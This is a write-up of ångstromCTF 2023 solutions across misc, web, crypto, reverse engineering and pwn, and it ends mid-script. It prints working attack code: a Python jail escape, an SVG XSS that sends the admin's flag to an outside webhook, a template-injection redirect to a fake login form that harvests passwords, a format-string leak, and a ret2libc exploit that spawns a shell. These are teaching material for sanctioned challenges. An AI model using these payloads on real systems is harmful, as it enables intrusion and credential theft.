ångstromCTF 2023

Categories index
Misc - Web - Crypto - Rev - Pwn

Misc

Physics HW

My physics teacher also loves puzzles. Maybe my homework is a puzzle too?
Attachments: physics_hw.png

As the image didn’t seem to have any artifacts, if not for the blank space at the bottom, we tried some common tools.

After some tries, zsteg --lsb physics_hw.png gave us the flag that was encoded in the least significat bits.

🏁 actf{physics_or_forensics}

Admiral Shark

I have been snooping on the conversations of my elusive enemies. See if you can help me gather the information I need to defeat them once and for all.
Attachments: admiral_shark.pcapng

Looking at the capture with WireShark, there’s a clear-text communication on port 1245. Following the stream, in the packet 91 there is a zip file.

After extracting the zip archive from the capture, unzip isn’t able to unzip it as there seems to be some errors.

Therefore, I tried extracting as much as possible with binwalk. Indeed, the flag was in one of the extracted files.

$ ack actf
_shark.raw.extracted/xl/sharedStrings.xml
...

🏁 actf{wireshark_in_space}

Simon Says

This guy named Simon gave me a bunch of tasks to complete and not a lot of time. He wants to run a unique zoo but needs the names for his animals. Can you help me?
nc challs.actf.co xxxxx

Connecting to the challenge presented you with a series of prompts like these, the entirety of which you had to solve before a global 3s timeout closed the connection:

Combine the first 3 letters of zebra with the last 3 letters of donkey
> zebkey
Combine the first 3 letters of wombat with the last 3 letters of bear
> womear
[...]

With a little help from pwntools to automate the connection this was an easy task:

import re
from pwn import *

conn = remote('challs.actf.co', xxxxx)

while True:
    prompt = conn.recvline().decode('ascii')
    if 'actf{' in prompt:
        print(f"!!! {prompt.strip()}")
        break
    else:
        print(f">>> {prompt.strip()}")

    tokens = re.search(r"Combine the first ([0-9]+) letters of ([a-z]+) with the last ([0-9]+) letters of ([a-z]+)", prompt)
    if len(tokens.groups()) != 4:
        break

    reply = f'{tokens.group(2)[:int(tokens.group(1))]}{tokens.group(4)[-int(tokens.group(3)):]}'
    print(f"<<< {reply}")
    conn.send((reply + '\n').encode('ascii'))

conn.close()
[+] Opening connection to challs.actf.co on port xxxxx: Done
>>> Combine the first 3 letters of fish with the last 3 letters of lion
<<< fision
[...]
>>> Combine the first 3 letters of vulture with the last 3 letters of lion
<<< vulion
!!! actf{simon_says_you_win}
[*] Closed connection to challs.actf.co port xxxxx

🏁 actf{simon_says_you_win}

better me

With the power of ARTIFICIAL INTELLIGENCE, I can replace myself!! Ask your questions to this guy, instead.
https://xxxxx.actf.co/

DISCLAIMER: the born2scan disassociates itself from any kind of bullying or verbal violence! against humans :)

better_me

🏁 actf{i_wouldnt_leak_the_flag_4f9a6ec9}

Obligatory

“angstrom needs a pyjail” - kmh11
nc challs.actf.co xxxxx
Attachments: jail.py, Dockerfile

This challenge was very difficult but at the same time gave me great satisfaction in solving it. Before this challenge I was totally inexperienced about pyjails so I decided to read a lot of writeups of past challenges to get an idea of common solutions. After a few hours of reading I learnt many methods to bypass filters and constraints but nothing usable for this challenge. We are provided with the following source code:

#!/usr/local/bin/python
cod = input("sned cod: ")

if any(x not in "q(jw=_alsynxodtg)feum'zk:hivbcpr" for x in cod):
    print("bad cod")
else:
    try:
        print(eval(cod, {"__builtins__": {"__import__": __import__}}))
    except Exception as e:
        print("oop", e)

We can only use lowercase letters and these ()=:' symbols. Moreover we do not have any builtins except for __import__. So we need to overcome three main constraints:

  • Get access again to the builtins (or find another way around)
  • Execute multiple instructions without ; or \n
  • Get a RCE without using the . to call functions

The first constraint alone is easy to bypass because we can import whatever we want, also the builtins. But obviously this alone is not sufficient. I spent a lot time thinking to what we could do with : symbol and I came up with two things: walrus operator and lambda functions. I felt that I was on the right path but I didn’t manage to put everything together. So I decided to focus on searching a method to execute multiple expressions only with ()=:'. After a while something clicked and I realized that I could use the == operator to execute multple expressions! Furthermore with the walrus operator we can assign inside expressions. So I thought I had the solution and tried with:

(__builtins__:=__import__('os'))==print('test')

But it failed :( (oop name ‘print’ is not defined).
I was still missing something. At that point I was so close (and desperate) that I tried everything I could, ending up with this solution using a lambda function:

(__builtins__:=__import__('builtins'))==(lambda:exec(input()))()

So after the CTF, while reading other writeups, I found out why this works: in python 3.10+, functions store their own builtins, which are pulled from globals[“builtins”] when the function is created, meaning the lambda can use the modified builtins.

🏁 actf{c0uln7_g3t_1t_7o_w0rk_0n_python39_s4dge}

Web

catch me if you can

Somebody help!
https://catch-me-if-you-can.web.actf.co/

catch me if you can

Some text is spinning on the page and it seems to be the flag. Ok, let’s dig into html source code.

<body>
    <h1>catch me if you can!</h1>
    <marquee scrollamount="50" id="flag">actf{REDACTED}</marquee>
</body>

Yep, it was the flag. Quite straightforward.

🏁 actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}

Celeste Speedrunning Association

I love Celeste Speedrunning so much!!! It’s so funny to watch!!! Here’s my favorite site!
https://mount-tunnel.web.actf.co/

We have to beat other players by playing at Celeste speedrun game. The main page shows us the scoreboard.

Welcome to Celeste speedrun records!!!<br>
Current record holders (beat them at <current URL>/play for a flag!):
<ol>
    <li>Old Lady: 0 seconds</li>
    <li>Madeline: 10 seconds</li>
    <li>Badeline: 10.1 seconds</li>
</ol>

Looking at /play source code, we need to send a start value to /submit in order to play.

<form action="/submit" method="POST">
    <input type="text" style="display: none;" value="1682636300.7767162" name="start" />
    <input type="submit" value="Press when done!" />
</form>

The goal is to click the button as fast as we can… or change the start value. We can turn it into the current timestamp and add a few seconds. This way our speedrun time will be negative. Easy win.

import time
import requests

url = 'https://mount-tunnel.web.actf.co/submit'

data = {
    'start': time.time() + 5
}

r = requests.post(url, data=data)
print(r.text)

🏁 actf{wait_until_farewell_speedrun}

shortcircuit

Bzzt
https://shortcircuit.web.actf.co/

There’s a simple login form on the main page. Looking at the html source code, we notice a JS script.

const swap = (x) => {
    let t = x[0]
    x[0] = x[3]
    x[3] = t

    t = x[2]
    x[2] = x[1]
    x[1] = t

    t = x[1]
    x[1] = x[3]
    x[3] = t

    t = x[3]
    x[3] = x[2]
    x[2] = t

    return x
}

const chunk = (x, n) => {
    let ret = []

    for(let i = 0; i < x.length; i+=n){
        ret.push(x.substring(i,i+n))
    }

    return ret
}

const check = (e) => {
    if (document.forms[0].username.value === "admin"){
        if(swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7"){
            location.href="/win.html"
        }
        else{
            document.getElementById("msg").style.display = "block"
        }
    }
}

Seems like some characters of the flag have been swapped. Using a reverse swap function, we can retrieve it in its normal form and print it.

const swap_rev = (x) => {
    let t;

    t = x[2]
    x[2] = x[3]
    x[3] = t

    t = x[3]
    x[3] = x[1]
    x[1] = t

    t = x[1]
    x[1] = x[2]
    x[2] = t

    t = x[3]
    x[3] = x[0]
    x[0] = t

    return x
}

const chunk = (x, n) => {
    let ret = []

    for(let i = 0; i < x.length; i+=n){
        ret.push(x.substring(i,i+n))
    }

    return ret
}

let x = '7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7';
let flag = swap_rev(chunk(x, 30)).join("");

console.log(flag);

🏁 actf{cl1ent_s1de_sucks_544e67e6317199e454f4d2bdb04d9e419ccc7f12024523398ee02fe7517fffa92517e08250c4aaa9ed206fd7c9e398e2}

directory

This is one of the directories of all time, and I would definitely rate it out of 10.
https://directory.web.actf.co/

Searching through a 5000 list of html pages, the goal is to find the one where the flag is hidden.

<html>
    <body>
        <a href="0.html">page 0</a><br />
        <a href="1.html">page 1</a><br />
        <a href="2.html">page 2</a><br />
        <a href="3.html">page 3</a><br />
        <a href="4.html">page 4</a><br />
        <a href="5.html">page 5</a><br />
        <a href="6.html">page 6</a><br />

        <!-- [...] -->

A simple Python script can do this for us.

import requests
from pwn import *
import time

url = 'https://directory.web.actf.co/{}.html'
p = log.progress('directory')

for i in range(0, 5000):
    r = requests.get(url.format(i))
    out = r.text

    p.status(f'{i}.html - {out}')

    if 'your flag is in another file' not in out:
        break

    time.sleep(1)

🏁 actf{y0u_f0und_me_b51d0cde76739fa3}

Celeste Tunnelling Association

Welcome to the tunnels!! Have fun!
https://pioneer.tailec718.ts.net/
Attachments: server.py

From server.py, we can see how the server works.

# run via `uvicorn app:app --port 6000`
import os

SECRET_SITE = b"flag.local"
FLAG = os.environ['FLAG']

async def app(scope, receive, send):
    headers = scope['headers']

    # [...]

    # IDK malformed requests or something
    num_hosts = 0
    for name, value in headers:
        if name == b"host":
            num_hosts += 1

    if num_hosts == 1:
        for name, value in headers:
            if name == b"host" and value == SECRET_SITE:
                await send({
                    'type': 'http.response.body',
                    'body': FLAG.encode(),
                })
                return

    # [...]

If we set the host header to flag.local, we will retrieve the flag.

import requests

url = 'https://pioneer.tailec718.ts.net/'
headers = {
    'host': 'flag.local'
}

r = requests.get(url, headers=headers)
print(r.text)

🏁 actf{reaching_the_core__chapter_8}

Hallmark

Send your loved ones a Hallmark card! Maybe even send one to the admin 😳.
https://hallmark.web.actf.co/, https://admin-bot.actf.co/hallmark
Attachments: dist.tar.gz

Starting with the description of the challenge, we know the goal is to create some cards and send them to the admin. There’s the possibility to put images into them, choosing from a predefined list of 4. Otherwise, a custom text is accepted. Moreover, from app source code we see that /flag is accessible only from admin. XSS flavour around here, do you feel it?

// the admin bot will be able to access this
app.get("/flag", (req, res) => {
    if (req.cookies && req.cookies.secret === secret) {
        res.send(flag);
    } else {
        res.send("you can't view this >:(");
    }
});

From /card we can create new cards, edit or print them. The server sets the right content-type header to print a card based on its content, which can be text or a SVG image.

app.get("/card", (req, res) => {
    if (req.query.id && cards[req.query.id]) {
        res.setHeader("Content-Type", cards[req.query.id].type);
        res.send(cards[req.query.id].content);
    } else {
        res.send("bad id");
    }
});

The first idea could be simply to create a card by putting some javascript code as custom text and submit the link to the admin. There’s a problem: the response content-type header will be set to text/plain. Instead, if we set svg other than text, our custom text won’t be considered at all.

app.post("/card", (req, res) => {
    let { svg, content } = req.body;

    let type = "text/plain";
    let id = v4();

    if (svg === "text") {
        type = "text/plain";
        cards[id] = { type, content }
    } else {
        type = "image/svg+xml";
        cards[id] = { type, content: IMAGES[svg] }
    }

    res.redirect("/card?id=" + id);
});

Looking into card edit method, we can see a poorly constructed equality check: type == "image/svg+xml".

app.put("/card", (req, res) => {
    let { id, type, svg, content } = req.body;

    if (!id || !cards[id]){
        res.send("bad id");
        return;
    }

    cards[id].type = type == "image/svg+xml" ? type : "text/plain";
    cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
});

Knowing that type attribute is used to set the content-type header and that JS is a beautiful language

'test' == ['test']  //true
'test' === ['test'] //false

we could try to create a new card and edit it by setting type to

['image/svg+xml']

and content to

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
        alert(1);
   </script>
</svg>

This way we can inject custom SVG payload and run a JS script since content-type header will be image/svg+xml. Let’s see if it can work.

hallmarket XSS

Ok, now we can create the real payload. The admin will do a request to /flag and will send the flag to us. We can use webhook to intercept the response. A final Python script could be

import requests

webhook = 'https://my-unique-webhook-url'
print(f'#1: webhook: {webhook}')

url = 'https://hallmark.web.actf.co/card'

post_data = {
    'svg': 'text',
    'content': 'text'
}

r = requests.post(url, data=post_data, allow_redirects=False)
my_card_id = r.headers['Location'].split('=')[1]
print(f'#2: id = {my_card_id}')

content = '''
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
        var xmlHttp = new XMLHttpRequest();

        xmlHttp.onreadystatechange = function() {
            if(xmlHttp.status == 200) {
                flag = xmlHttp.responseText;
                document.location = "''' + webhook + '''?p=" + flag;
            }
        }

        xmlHttp.open("GET", '/flag', true);
        xmlHttp.send();
   </script>
</svg>
'''

put_data = {
    'id': my_card_id,
    'type[]': ['image/svg+xml'],
    'svg': '',
    'content': content
}

r = requests.put(url, data=put_data)

if r.text == 'ok':
    print(f'#3: Go to "https://admin-bot.actf.co/hallmark" and put "{url}?id={my_card_id}"')
else:
    print('Error')

🏁 actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}

brokenlogin

Talk about a garbage website… I don’t think anybody’s been able to log in yet! If you find something, make sure to let the admin know.
https://brokenlogin.web.actf.co/, https://admin-bot.actf.co/brokenlogin
Attachments: app.py, brokenlogin.js

From app.py we know that message argument can be printed if we pass it to the main page, but only if its content is no longer than 25 characters.

# [...]

indexPage = """
<html>
    <head>
        <title>Broken Login</title>
    </head>
    <body>
        <p style="color: red; fontSize: '28px';">%s</p>
        <p>Number of failed logins:  {{ fails }} </p>
        <form action="/" method="POST">
            <label for="username">Username: </label>
            <input id="username" type="text" name="username" /><br /><br />

            <label for="password">Password: </label>
            <input id="password" type="password" name="password" /><br /><br />

            <input type="submit" />
        </form>
    </body>
</html>
"""

@app.get("/")
def index():
    global fails
    custom_message = ""

    if "message" in request.args:
        if len(request.args["message"]) >= 25:
            return render_template_string(indexPage, fails=fails)

        custom_message = escape(request.args["message"])

    return render_template_string(indexPage % custom_message, fails=fails)

# [...]

We can try to send a template injection to see if the web app is vulnerable, for example {{7*3}}

brokenlogin injection

We can see a 21, so 7*3 has been evaluated. Now, let’s get into admin bot source code. The admin will load the page sended by the user (only if the url is from ctf domain) and fill out a form with username and the flag as password.

module.exports = {
    /* [...] */

    async execute(browser, url) {
        /* [...] */

        const page = await browser.newPage();
        await page.goto(url);

        await page.waitForSelector("input[name=username]");

        await page.$eval(
          "input[name=username]",
          (el) => (el.value = "admin")
        );

        await page.waitForSelector("input[name=password]");

        await page.$eval(
          "input[name=password]",
          (el, password) => (el.value = password),
          process.env.CHALL_BROKENLOGIN_FLAG
        );

        await page.click("input[type=submit]");

        /* [...] */
    },
};

The idea could be to create a fake form hosted with ngrok and use the template injection to perform a javascript redirect to our fake form. Let’s try to get an XSS injection. First, there are two main problems to solve: payload length under 25 chars and message escaping. We can pass a second argument to the page and call it from message argument to bypass payload length constraint and escaping. We can try with

p=<script>alert(1)</script>&message={{request.args.p}}

Doesn’t seem to work. The template engine escapes strings by default. We know that flask framework uses jinja2 as template engine, which has the safe keyword to disable escaping. Let’s try with

p=<script>alert(1)</script>&message={{request.args.p|safe}}

Now it works. Using the JS property document.location, we can create our final payload.

p=<script>document.location='http://my.ngrok.ip'</script>&message={{request.args.p|safe}}

and then the link we will submit to the admin

https://brokenlogin.web.actf.co/?p=<script>document.location='http://my.ngrok.ip'</script>&message={{request.args.p|safe}}

We can handle the flag with a simple save.php script

<?php
    $flag = $_POST['password'];
    $myfile = fopen("flag.txt", "w") or die("Unable to open file!");

    fwrite($myfile, $flag);
    fclose($myfile);

    echo "ok!";

which is executed after the submission of the fake form

<html>
    <head>
        <title>Exploit</title>
    </head>
    <body>
        <form action="save.php" method="POST">
            <label for="username">Username: </label>
            <input id="username" type="text" name="username" /><br /><br />

            <label for="password">Password: </label>
            <input id="password" type="password" name="password" /><br /><br />

            <input type="submit" />
        </form>
    </body>
</html>

🏁 actf{adm1n_st1ll_c4nt_l0g1n_11dbb6af58965de9}

Crypto

ranch

Caesar dressing is so 44 BC…
rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}
Attachments: ranch.py

As the name implies, this is a ROT encoding. Using 9 rotations we get the flag. Quick points!

🏁 actf{lo0ks_like_we’ll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}

impossible

Is this challenge impossible?
nc challs.actf.co xxxxx
Attachments: impossible.py

If we interact with the server, it will ask: “Supply positive x and y such that x < y and x > y”. We can understand how the check is done by looking at the source code:

if len(fake_psi(one_encoding(x, 64), zero_encoding(y, 64))) == 0 and x > y and x > 0 and y > 0:
    print(open("flag.txt").read())

Let’s breakdown this code:

def one_encoding(x, n): # encodes x
    ret = []
    for i in range(n):
        if x & 1:
            ret.append(x)

        x >>= 1
    return ret
def zero_encoding(x, n): # encodes y
    ret = []
    for i in range(n):
        if (x & 1) == 0:
            ret.append(x | 1)
        x >>= 1
    return ret
def fake_psi(a, b):
    return [i for i in a if i in b]

A bitwise AND between our input and 1 is done n times and every time our input is shifted by one bit on the right (removing the LSB).

-> 64 is the number of bits that will be checked.

Our solution was to find a way to make both one_encoding and zero_encoding return empty lists, so that also fake_psy returns an empty list.

How do we find x? We have to choose an x that has got the last 64 bits = 0 so that the condition if x & 1: is always false. The candidate for x is 2 ** 64, since this is its binary representation: 10000000000000000000000000000000000000000000000000000000000000000

Then, we find y using a similar approach: the last 64 binary digit must be = 1, so that the condition if (x & 1) == 0 will always be false. y will be (2 ** 64)-1, since its binary representation is: 01111111111111111111111111111111111111111111111111111111111111111

🏁 actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}

Lazy Lagrange

Lagrange has gotten lazy, but he’s still using Lagrange interpolation…or is he?
nc challs.actf.co xxxxx
Attachments: lazylagrange.py

The challenge provide us with the source code of the challenge.

#!/usr/local/bin/python
import random

with open('flag.txt', 'r') as f:
    FLAG = f.read()

assert all(c.isascii() and c.isprintable() for c in FLAG), 'Malformed flag'
N = len(FLAG)
assert N <= 18, 'I\'m too lazy to store a flag that long.'
p = None
a = None
M = (1 << 127) - 1  # 2^127-1


def query1(s):
    if len(s) > 100:
        return 'I\'m too lazy to read a query that long.'
    x = s.split()
    if len(x) > 10:
        return 'I\'m too lazy to process that many inputs.'
    if any(not x_i.isdecimal() for x_i in x):
        return 'I\'m too lazy to decipher strange inputs.'
    x = (int(x_i) for x_i in x)
    global p, a
    # shuffle the range 1-N
    p = random.sample(range(N), k=N)
    # shuffle flag with char as int
    a = [ord(FLAG[p[i]]) for i in range(N)]
    res = ''
    for x_i in x:
        res += f'{sum(a[j] * x_i ** j for j in range(N)) % M}\n'
    return res


# Compute sum(a[j])
query1('0')


def query2(s):
    if len(s) > 100:
        return 'I\'m too lazy to read a query that long.'
    x = s.split()
    if any(not x_i.isdecimal() for x_i in x):
        return 'I\'m too lazy to decipher strange inputs.'
    x = [int(x_i) for x_i in x]
    # pad input with 0
    while len(x) < N:
        x.append(0)
    z = 1
    for i in range(N):
        z *= not x[i] - a[i]
    return ' '.join(str(p_i * z) for p_i in p)


while True:
    try:
        choice = int(input(": "))
        assert 1 <= choice <= 2
        match choice:
            case 1:
                print(query1(input("\t> ")))
            case 2:
                print(query2(input("\t> ")))
    except Exception as e:
        print("Bad input, exiting", e)
        break

We can perform two queries:

  • Query1: allow us to send one (or more) integer x and it computes the value of \(p(x)=\Sigma_{i=0}^{17} a_i \cdot x^i\) where the $a_i$ are the ascii decimal values of the flag’s characters.
  • Query2: allow us to to send 18 integres values and if these are equal to the coefficients $a_i$ used in Query1 it prints their position in the flag.

So the query1 must be used to recover the flag characters and the query2 to recover their correct order. My first idea was to use Langrange interpolation to find the coefficients $a_i$ but in query1 we can provide only 10 points and the flag has length=18, so we have not enough points to interpolate correctly. Then I realized that if I found a number $k$ such that: \(k^n > \Sigma_{i=0}^{n-1} 127*k^i \\ \forall n \in [1,17]\) then I would have been able to recover all the $a_i$. This is done, for each $a_i$, by subtracting from $p(k)$ the possible $a_{i_j}k^i$ ($j \in [0,127]$); the right $a_{i_j}$ is the highest such that $p(k)-a_{i_j}k^i \ge 0$. Moreover we need that $p(k) \le M$ where $M=2^{127}-1$. A $k$ that satisfy all the constraints is 130.

from pwn import *


def solve():
    r = remote('challs.actf.co', 32100)

    r.sendlineafter(': ', b'1')
    r.sendlineafter('> ', b'130')

    tot = int(r.recvline().strip().decode())
    tmp = tot

    coeff = []
    for i in range(18):
        for j in range(128):
            x = 130**(17-i)
            if tot-(x*j) <= 0:
                coeff.append(j-1)
                tot -= x*(j-1)
                break

    coeff = coeff[::-1]
    coeff[0] += 1
    res = sum(coeff[j] * 130 ** j for j in range(18))

    assert res == tmp
    payload = (' '.join([str(i) for i in coeff])).encode()

    r.sendlineafter(': ', b'2')
    r.sendlineafter('> ', payload)

    order = [int(i) for i in r.recvline().strip().decode().split()]
    print(order)
    print([chr(i) for i in coeff])
    print(''.join([chr(i[1]) for i in sorted(zip(order, coeff))]))


solve()

🏁 actf{f80f6086a77b}

Royal Society of Arts

RSA strikes strikes strikes strikes again again again again!
Attachments: rsa.py, out.txt

We are given a python program and the corresponding output. The python program looks like this:

from Crypto.Util.number import getStrongPrime, bytes_to_long
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
print("(p-2)*(q-1) =", (p-2)*(q-1))
print("(p-1)*(q-2) =", (p-1)*(q-2))

Other than n,e and c there are also (p-2)(q-1) and (p-1)(q-2) so we have two equations where we know the results. To decrypt RSA we need p and q so we can get them by solving a system of equation like so:

\[\begin{equation} \begin{cases} (p-2)(q-1) = \text{number given}\\ (p-1)(q-2) =\text{number given}\\ p\cdot q = n \end{cases} \end{equation}\]

Solving this simple system with sagemath will give us p and q. After that we can decrypt the message with:

\[d = e^{-1} \mod (p-1)(q-1)\]

and the flag:

\[m = c^{d} \mod n\]

converting m from long to bytes_string will give us the flag!

🏁 _actf{tw0_equ4ti0ns_in_tw0_unkn0wns_d62507431b7e7087} _{: .spoiler}

Rev

checkers

Attachments: checkers

A way to solve this challenge is to use the command “strings” on the binary file; the flag is not encoded in the binary.

-> Another solution is to open the file with Ghidra. In the main function we can see that a function strncmp is called, comparing our input with the flag. In this way, we can see the flag looking at the decompiled code.

🏁 actf{ive_be3n_checkm4ted_21d1b2cebabf983f}

zaza

Bedtime!
nc challs.actf.co xxxxx
Attachments: zaza

If we interact with the remote service, it says: “I’m going to sleep. Count me some sheep: “ It seems like it wants a specific number. Let’s try to open it with Ghidra to understand better.

In the main function: First input (must be 4919 to continue with the execution):

  printf("I\'m going to sleep. Count me some sheep: ");
  __isoc99_scanf(&%d,&input1);
  if (input1 != 4919) {
    puts("That\'s not enough sheep!");
    exit(1);
  }

Second input (we can send any number as long as it is not the inverse of 4919 (= input1):

  printf("Nice, now reset it. Bet you can\'t: ");
  __isoc99_scanf(&%d,&input2);
  if (input2 * input1 == 1) {
    printf("%d %d",(ulong)local_5c,(ulong)(local_60 + local_5c));
    puts("Not good enough for me.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }

Now the program asks us the magic word:

  puts("Okay, what\'s the magic word?");
  getchar();
  fgets(input,64,stdin);
  sVar2 = strcspn(input,"\n");
  input[sVar2] = '\0';
  xor_((long)input);
  iVar1 = strncmp(input,"2& =$!-( <*+*( ?!&$$6,. )\' $19 , #9=!1 <*=6 <6;66#",0x32);
  if (iVar1 != 0) {
    puts("Nope");
    exit(1);
  }
  win();

If after the function xor_ our input is equal to the string in the strncmp, the function win is called and we get the flag! Let’s breakdown the xor_ function:

void xor_(char *param_1)
{
  size_t lenght;
  int i;
  i = 0;
  while( true ) {
    lenght = strlen("anextremelycomplicatedkeythatisdefinitelyuselessss");
    if (lenght <= (ulong)(long)i) break;
    input[i] = input[i] ^ "anextremelycomplicatedkeythatisdefinitelyuselessss"[i];
    i = i + 1;
  }
  return;
}

I reversed this function in python and found the correct word we must give to the program.

Here’s the python script used to solve this challenge:

from pwn import *
r = remote("challs.actf.co", 32760)
r.sendline(b'4919') # input1
r.sendline(b'1') # input2

s = "anextremelycomplicatedkeythatisdefinitelyuselessss"
target = "2& =$!-( <*+*( ?!&$$6,. )\' $19 , #9=!1 <*=6 <6;66#"
magic_word = ""
target = target.encode()
s = s.encode()

# reversed xor_ function
for i in range(len(s)):
    magic_word += chr(target[i] ^ s[i])

r.sendline(magic_word.encode()) # input3
r.interactive()

🏁 actf{g00dnight_c7822fb3af92b949}

Bananas

A friend sent this to me. Can you help me find out what they want?
nc challs.actf.co xxxxx
Attachments: Elixir.Bananas.beam

If we connect to the trhough netcat the server will ask How many bananas do I have? so we have to find how many bananas he needs.

We are given an Elixir.Banans.beam and if you are a little bit familiar with Elixir you will see that this is a compiled Erlang file for the Erlang VM. The first thing I did was trying to execute the file, but strangely, it returns an error for the encoding when running it like so:

elixir Elixir.Bananas.beam

I tried running it with other strategies without success using the interactive elixir shell:

iex Elixir.Bananas.beam

So I had to use another strategy, maybe decompiling it? Because of the fact that it’s a beam bytecode I thought it will be a tool to decompile it so I found this post from the elixir forum using the niahoo/decompilerl.

I created a new elixir project with

mix new myproject

And added in the mix.exs file I added the dependency:

  defp deps do
    [
      {:decompilerl, github: "niahoo/decompilerl"}
      # {:dep_from_hexpm, "~> 0.3.0"},
      # {:dep_from_git, git: "https://github.com/elixir-lang/my_dep.git", tag: "0.1.0"}
    ]
  end

After that i created a file tt.exs in the root of the project and used the following code:

Code.append_path(File.cwd!())
Decompilerl.decompile(:Elixir_Bananas)
System.halt()

Note that in the second line we have to specify the file name so I had to rename Elixir.Bananas.beam to Elixir_Bananas.beam because with dots doesn’t work.

Running the tt.exs file will return the decompiled erlang file:

Retrieving code for Elixir_Bananas
-file("lib/bananas.ex", 1).

-module('Elixir.Bananas').

-compile([no_auto_import]).

-export(['__info__'/1, main/0, main/1]).

-spec '__info__'(attributes |
                 compile |
                 functions |
                 macros |
                 md5 |
                 exports_md5 |
                 module |
                 deprecated |
                 struct) -> any().

'__info__'(module) -> 'Elixir.Bananas';
'__info__'(functions) -> [{main, 0}, {main, 1}];
'__info__'(macros) -> [];
'__info__'(struct) -> nil;
'__info__'(exports_md5) ->
    <<"TÀ}ÏÚ|º6þ\020Í\f\035\005\222\203">>;
'__info__'(Key = attributes) ->
    erlang:get_module_info('Elixir.Bananas', Key);
'__info__'(Key = compile) ->
    erlang:get_module_info('Elixir.Bananas', Key);
'__info__'(Key = md5) ->
    erlang:get_module_info('Elixir.Bananas', Key);
'__info__'(deprecated) -> [].

check([_num@1, <<"bananas">>]) ->
    (_num@1 + 5) * 9 - 1 == 971;
check(__asdf@1) -> false.

convert_input(_string@1) ->
    to_integer('Elixir.String':split('Elixir.String':trim(_string@1))).

main() -> main([]).

main(_args@1) ->
    print_flag(check(convert_input('Elixir.IO':gets(<<"How many bananas do I have?\n">>)))).

print_flag(false) -> 'Elixir.IO':puts(<<"Nope">>);
print_flag(true) ->
    'Elixir.IO':puts('Elixir.File':'read!'(<<"flag.txt">>)).

to_integer([_num@1, _string@1]) ->
    [erlang:binary_to_integer(_num@1), _string@1];
to_integer(_list@1) -> _list@1.

Althought I’ve never seen erlang code we see that there is a suspicious line where there is an operation made with num@1 wich I guess is part of the input:

    (_num@1 + 5) * 9 - 1 == 971;

it will return true only if the operation returns 971 so using my math super skills I reversed the equation and got 103. But using 103 as the input on the server doesn’t work why?

Looking more closely to the code we see that the check is for num@1 and "bananas". So maybe my input as to be 103 bananas

Yes! That was it, using this input the server returns the flag

🏁 actf{baaaaannnnananananas_yum}

Pwn

queue

I just learned about stacks and queues in DSA!
nc challs.actf.co xxxxx
Attachments: queue

Connecting to the challenge we are asked: What did you learn in class today? so we can send a string. We can submit a format string like %p to see that it returns Oh nice, 0x7ffe79e8d120. We can also access directly some parameters in this way:

%<number_of_parameter>$<format> for exemple: %14$llx,%15$llx,%16$llx; it returns:

Oh nice, 3474737b66746361,75715f74695f6b63,615f74695f657565. We can see with some tries that the flag is here in the stack. So we can script the solution.

from Crypto.Util.number import *
from pwn import *

flag = ""
host =  "challs.actf.co"
port = 31322
for i in range (14, 19, 1):
    r = remote(host, port)
    r.recvuntil(b'? ')
    payload = f'%{i}$llx,%{i+1}$llx'
    r.sendline(bytes(payload, 'utf-8'))
    r.recvuntil(b'Oh nice, ')
    stringa = r.recvline()
    stringa = stringa.decode('utf-8')
    stringhe = stringa.split(',')
    temp = ''
    for s in stringhe:
        if len(s)%2 != 0:
            s = '0' + s
        temp += s
    temp = temp.strip()
    temp = temp[:-1]
    flag = flag + str((bytes.fromhex(temp)[::-1])[-8:])
    r.close()
flag = flag.replace('\'b\'', '')
print(flag)

If the input string is too long it overwrite the flag in the stack, so we have to take it piece by piece. The code above take 8 chars of the flag at every iteration and put them in the variable flag. At the end we only clean the output.

🏁 actf{st4ck_it_queue_it_a619ad974c864b22}

gaga

Multipart challenge! Note all use essentially the same Dockerfile. The flags are split among all three challenges. If you are already a pwn expert, the last challenge has the entire flag.
nc challs.actf.co xxxxx, xxxx, xxxx
Attachments: gaga0, gaga1, gaga2, Dockerfile

void main(void)

{
  char local_48 [60];
  __gid_t local_c;

  setbuf(stdout,(char *)0x0);
  local_c = getegid();
  setresgid(local_c,local_c,local_c);
  puts("Awesome! Now there\'s no system(), so what will you do?!");
  printf("Your input: ");
  gets(local_48);
  return;
}

Nothing much to say about this challenge, it’s a classic ret2libc attack. We leak the libc through puts, we find the correct version of libc on libc database and then we call system("/bin/sh").

#!/usr/bin/env python3

from pwn import *

exe = ELF("./gaga2_patched")
libc = ELF("./libc.so.6")
context.binary = exe
context.terminal = ['terminator', '-x']

# context.log_level = 'debug'


def conn():
    if args.LOCAL:
        r = process([exe.path])
    elif args.GDB:
        r = gdb.debug([exe.path], gdbscript='''b *main+116''')
    else:
        r = remote("challs.actf.co", 31302)

    return r


def main():
    r = conn()

    offset = 72
    pop_rdi = p64(0x00000000004012b3)
    ret = p64(0x000000000040101a)

    payload = b'a'*offset + pop_rdi + \
        p64(exe.got.printf) + p64(exe.sym.puts) + p64(exe.sym.main)
    r.sendlineafter(b': ', payload)

    leak = u64(r.recvline().strip().ljust(8, b'\x00'))

    libc.address = leak - libc.sym.printf
    print(hex(libc.address))

    payload = b'a'*offset + ret + pop_rdi + \
